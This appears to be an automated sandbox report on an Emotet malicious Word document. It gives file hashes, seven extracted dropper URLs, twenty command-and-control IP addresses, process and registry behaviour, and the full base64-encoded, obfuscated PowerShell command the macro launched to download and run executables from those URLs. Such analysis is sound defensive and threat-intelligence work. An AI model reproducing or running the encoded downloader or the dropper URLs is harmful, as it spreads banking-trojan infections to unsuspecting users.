emotet | ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e

General

Target

emotet_e1_ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e_2020-10-27__121346399823._fpx.doc
Size

179KB
MD5

b92b6b8368d2bb53eda2b70de6c13130
SHA1

edaa0e5b0279a37cc5f8564d4f1b21ee9f99c382
SHA256

ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e
SHA512

d19c77cffd09796a184df7a8b0e4275a84fdd1320f4864ae4133e3c9982882c302f02b112bcdfdcdf57c8202984eac94853da509b280f36d2e99d3ed5a873962

Score

10^/10

emotet epoch1 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.royalempresshair.com/wp-content/upgrade/Ete/

exe.dropper

http://kbppp.ilmci.com/wp-includes/z/

exe.dropper

http://tiplabor.com/images/Du1/

exe.dropper

http://0377hhd.com/cgi-bin/q/

exe.dropper

https://sorbonne-capital.com/wp-admin/Jip/

exe.dropper

https://dijitalklinik.com/wp-admin/LYq/

exe.dropper

https://www.qualitymathtutors.com/wp-content/GfE/

Extracted

Family

emotet

Botnet

Epoch1

C2

45.16.226.117:443

104.131.92.244:8080

70.39.251.94:8080

87.230.25.43:8080

186.189.249.2:80

209.236.123.42:8080

5.196.35.138:7080

45.33.77.42:8080

46.43.2.95:8080

24.135.69.146:80

103.236.179.162:80

190.92.122.226:80

201.71.228.86:80

68.183.170.114:8080

183.176.82.231:80

168.197.45.36:80

152.169.22.67:80

111.67.12.221:8080

51.75.33.127:80

186.70.127.199:8090

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

POwersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	1832	POwersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/756-11-0x0000000000370000-0x0000000000390000-memory.dmp	emotet
behavioral1/memory/756-12-0x0000000000390000-0x00000000003AE000-memory.dmp	emotet
behavioral1/memory/1116-17-0x0000000000270000-0x000000000028E000-memory.dmp	emotet
behavioral1/memory/1116-16-0x0000000000250000-0x0000000000270000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

POwersheLL.exe

flow pid process

8 1600 POwersheLL.exe
9 1600 POwersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

Avfs1cem.exemmcbase.exe

pid process

756 Avfs1cem.exe
1116 mmcbase.exe

flow	pid	process
8	1600	POwersheLL.exe
9	1600	POwersheLL.exe

pid	process
756	Avfs1cem.exe
1116	mmcbase.exe

Drops file in System32 directory 2 IoCs

Processes:

POwersheLL.exeAvfs1cem.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	POwersheLL.exe
File opened for modification	C:\Windows\SysWOW64\rshx32\mmcbase.exe	Avfs1cem.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\0\win32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1036 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

POwersheLL.exemmcbase.exe

pid process

1600 POwersheLL.exe
1600 POwersheLL.exe
1116 mmcbase.exe
1116 mmcbase.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

POwersheLL.exe

description pid process

Token: SeDebugPrivilege 1600 POwersheLL.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1036 WINWORD.EXE
1036 WINWORD.EXE

pid	process
1036	WINWORD.EXE

pid	process
1600	POwersheLL.exe
1600	POwersheLL.exe
1116	mmcbase.exe
1116	mmcbase.exe

description	pid	process
Token: SeDebugPrivilege	1600	POwersheLL.exe

pid	process
1036	WINWORD.EXE
1036	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

Avfs1cem.exe

description	pid	process	target process
PID 756 wrote to memory of 1116	756	Avfs1cem.exe	mmcbase.exe
PID 756 wrote to memory of 1116	756	Avfs1cem.exe	mmcbase.exe
PID 756 wrote to memory of 1116	756	Avfs1cem.exe	mmcbase.exe
PID 756 wrote to memory of 1116	756	Avfs1cem.exe	mmcbase.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e_2020-10-27__121346399823._fpx.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1036

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgACQAWQAwAEcAdAA9ACAAWwBUAFkAUABlAF0AKAAiAHsAMwB9AHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBpAFIAZQBDAHQAbwAnACwAJwBSACcALAAnAFkAJwAsACcAUwB5AFMAVABFAG0ALgBpAG8ALgBkACcAKQA7ACAAIAAgACQAUQA3AFYATwAgACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADcAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADQAfQB7ADMAfQB7ADIAfQB7ADEAfQB7ADUAfQAiACAALQBmACcAWQBzAHQAJwAsACcAbQAnACwAJwBJAG4AdAAnACwAJwBvACcALAAnAFAAJwAsACcAQQBuAEEARwBFAFIAJwAsACcAZQBtAC4AbgBlAHQAJwAsACcAUwAnACwAJwAuAFMAZQBSAHYAaQBDAGUAJwApACAAOwAgACQATABqAHUAZQBwAGIAawA9ACgAJwBEACcAKwAoACcAegAyACcAKwAnAGwAZQBxAGMAJwApACkAOwAkAFgAbABtAGsANwAzAHcAPQAkAEkAOABwAHIANAByAG0AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AcABuAGgAegA2AHUAOwAkAFAAXwA2AHcAaQBzADcAPQAoACcARQA0ACcAKwAoACcAcABvAGUAJwArACcAMwAnACkAKwAnAHAAJwApADsAIAAoACAAIAB2AGEAcgBJAGEAYgBMAGUAIAAoACIAWQAwACIAKwAiAEcAdAAiACkAIAApAC4AVgBhAGwAVQBlADoAOgAiAEMAcgBlAEEAVABFAGQAYABpAGAAUgBlAGMAdABgAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBKAGEAOABUAHIAMQAnACsAJwB1ACcAKwAnAGMAJwApACsAKAAnADYAYwBKAGEAJwArACcAOAAnACsAJwBHACcAKQArACcAZQAnACsAJwA1AHIAJwArACcAbwAnACsAJwB3ACcAKwAoACcAMQAnACsAJwBKAGEAOAAnACkAKQAgAC0AYwBSAEUAcABMAEEAYwBlACgAJwBKAGEAJwArACcAOAAnACkALABbAGMAaABhAFIAXQA5ADIAKQApADsAJABCAGgAZgBzAGgAagB1AD0AKAAoACcAWAAnACsAJwB4AHcAJwApACsAJwBfACcAKwAoACcAeQBjACcAKwAnAGkAJwApACkAOwAgACQAUQA3AFYATwA6ADoAIgBTAGUAYwBgAFUAUgBgAGkAVAB5AGAAcABSAE8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAEQAcAAxAGUAdwByAHAAPQAoACcAQQAnACsAKAAnAHoAJwArACcAawBhAGMAMAAnACsAJwAzACcAKQApADsAJABLADkAZwBmADAAcwBiACAAPQAgACgAKAAnAEEAdgAnACsAJwBmAHMAJwApACsAJwAxAGMAJwArACcAZQBtACcAKQA7ACQAWAB6AHYANwA3AGMAZQA9ACgAJwBEACcAKwAoACcAagAnACsAJwAxAGIAawBnACcAKQArACcAdgAnACkAOwAkAEgAcQBzADAAdQA3ADAAPQAoACgAJwBYAF8AYwAnACsAJwA4ACcAKQArACgAJwAxACcAKwAnAHUAYwAnACkAKQA7ACQATQBxAHgAeQB3AHEAMgA9ACQASABPAE0ARQArACgAKAAoACcAawBqACcAKwAnADgAVAByADEAJwArACcAdQBjACcAKQArACgAJwA2AGMAawAnACsAJwBqACcAKQArACcAOAAnACsAKAAnAEcAZQA1AHIAJwArACcAbwB3ACcAKQArACgAJwAxACcAKwAnAGsAagAnACkAKwAnADgAJwApACAALQByAEUAcABMAGEAYwBFACAAKABbAEMAaABBAFIAXQAxADAANwArAFsAQwBoAEEAUgBdADEAMAA2ACsAWwBDAGgAQQBSAF0ANQA2ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQASwA5AGcAZgAwAHMAYgArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEoAegB6ADMANgAwAGYAPQAoACcARQBxACcAKwAoACcAOQAnACsAJwAxAGMAJwApACsAJwB6ADEAJwApADsAJABRAG8AZABoAGEAMQBzAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAGMATABJAGUAbgBUADsAJABaAF8AZABqAG8AdgAzAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0AWwAnACsAJwAgACcAKQArACcAdwAnACsAKAAnAGUAJwArACcAIABdACcAKwAnAHcAdwB3AC4AJwApACsAKAAnAHIAbwB5ACcAKwAnAGEAJwApACsAKAAnAGwAZQBtAHAAcgAnACsAJwBlACcAKQArACgAJwBzACcAKwAnAHMAaABhAGkAJwArACcAcgAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAFsAJwArACgAJwAgACcAKwAnAHcAJwArACcAZQAgAF0AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbgB0AGUAbgB0AFsAIAAnACsAJwB3AGUAIAAnACsAJwBdAHUAcABnACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAZABlACcAKQArACcAWwAnACsAJwAgACcAKwAnAHcAJwArACgAJwBlACcAKwAnACAAXQBFAHQAJwArACcAZQBbACAAJwApACsAJwB3ACcAKwAnAGUAJwArACgAJwAgAF0AJwArACcAQAAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AFsAIAB3AGUAIABdAFsAIAB3ACcAKwAnAGUAIAAnACsAJwBdAGsAJwArACcAYgAnACsAJwBwAHAAcAAuACcAKQArACcAaQBsACcAKwAoACcAbQBjAGkAJwArACcALgBjAG8AbQBbACAAJwApACsAKAAnAHcAZQAgAF0AdwBwAC0AJwArACcAaQBuAGMAbAB1AGQAZQAnACsAJwBzACcAKQArACcAWwAnACsAJwAgAHcAJwArACgAJwBlACAAXQB6ACcAKwAnAFsAIAB3ACcAKQArACcAZQAnACsAKAAnACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAnAFsAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAWwAgAHcAJwApACsAKAAnAGUAIAAnACsAJwBdAHQAaQAnACkAKwAoACcAcABsACcAKwAnAGEAYgBvACcAKQArACgAJwByACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAGkAJwArACcAbQBhAGcAJwApACsAKAAnAGUAcwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0ARAAnACsAJwB1ACcAKQArACcAMQBbACcAKwAoACcAIAB3AGUAIABdAEAAaAAnACsAJwB0ACcAKwAnAHQAcAA6AFsAJwArACcAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACgAJwBbACAAdwAnACsAJwBlACAAJwApACsAKAAnAF0AMAAnACsAJwAzADcANwBoACcAKQArACgAJwBoAGQALgBjAG8AbQAnACsAJwBbACAAdwBlACAAXQBjACcAKwAnAGcAaQAtACcAKwAnAGIAaQBuAFsAJwApACsAKAAnACAAdwBlACAAXQBxACcAKwAnAFsAJwApACsAJwAgAHcAJwArACgAJwBlACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAcwAnACkAKwAoACcAOgBbACcAKwAnACAAJwArACcAdwBlACAAJwArACcAXQBbACAAJwApACsAKAAnAHcAZQAgAF0AcwBvAHIAYgBvACcAKwAnAG4AbgAnACsAJwBlAC0AYwBhAHAAJwArACcAaQAnACsAJwB0AGEAbAAuAGMAJwArACcAbwBtACcAKwAnAFsAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAJwArACcAXQB3AHAALQBhAGQAbQAnACkAKwAoACcAaQBuAFsAIAB3AGUAJwArACcAIABdAEoAaQAnACsAJwBwAFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAXQBAAGgAJwArACcAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAOgAnACsAJwBbACAAdwBlACcAKwAnACAAXQBbACAAdwBlACcAKwAnACAAXQBkAGkAagBpACcAKQArACgAJwB0AGEAbABrACcAKwAnAGwAJwApACsAJwBpAG4AJwArACgAJwBpACcAKwAnAGsALgAnACkAKwAoACcAYwBvAG0AJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAoACcAIAAnACsAJwBdAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKQArACcAbgBbACcAKwAoACcAIAB3AGUAJwArACcAIABdACcAKwAnAEwAWQBxACcAKQArACgAJwBbACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBbACAAdwBlACcAKwAnACAAJwArACcAXQBbACAAdwBlACcAKwAnACAAXQB3AHcAdwAuAHEAdQBhACcAKQArACgAJwBsAGkAdAAnACsAJwB5AG0AJwApACsAKAAnAGEAdABoAHQAJwArACcAdQB0AG8AJwApACsAKAAnAHIAcwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAnAFsAIAB3AGUAIABdAHcAcAAnACkAKwAnAC0AYwAnACsAKAAnAG8AbgAnACsAJwB0AGUAbgB0AFsAJwArACcAIAB3AGUAIABdACcAKQArACgAJwBHACcAKwAnAGYARQAnACkAKwAnAFsAJwArACgAJwAgAHcAJwArACcAZQAgAF0AJwApACkALgAiAFIAZQBQAEwAQQBgAEMAZQAiACgAKAAoACcAWwAgAHcAZQAnACsAJwAgACcAKQArACcAXQAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAJwBmAHMAJ